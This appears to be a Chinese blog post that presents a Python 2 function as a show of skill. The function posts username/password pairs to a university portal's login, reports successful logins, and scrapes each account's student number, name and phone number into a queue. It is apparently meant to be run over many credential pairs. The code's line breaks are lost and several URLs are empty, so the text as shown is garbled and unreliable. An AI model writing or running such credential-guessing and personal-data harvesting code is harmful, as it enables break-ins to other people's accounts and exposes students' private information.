【Python】写了个比较见功力的函数

功力不是体现在独具匠心的构造

而是体现在对几个对象的熟练处理,,"得心应手"不过如此了。

def getinfo( tp=('1000000', '888810'), queue=queue ):username, password = tptry:s = requests.Session()r = s.post( "", data={'goto':':80/ihome/index?null','username':username, 'password':password}, headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'windly spider'}, timeout=7 )r.headers['content-length']print '\033[91m Got it: {} \033[0m'.format(tp)s.get('?decodedCookieValue={}&callbackUrl=http://ihome.yzu.edu.cn:80%2Fihome%2Findex%3Fnull'.format(s.cookies.get_dict()['jnTitkect']), headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'Super monkey'}, timeout=7 )t = s.get('', headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'Super monkey'}, timeout=7 )_ = [x for x in [x.replace('\r', '').replace('\t', '').replace('\n', '').replace(' ', '') for x in re.compile('5px;">(.*?)<', re.DOTALL).findall( t.content )] if x]queue.put(_)print _, 'Queue \&;s size', queue.qsize()except:passprint '\033[91mthe network is not the girl\033[0m'获得一个列表

[‘xuehao’,

‘xing ming’,

‘ss’,

‘phone’

]

拥有一颗比九万五千公里还辽阔的心,

【Python】写了个比较见功力的函数

相关文章:

你感兴趣的文章:

标签云: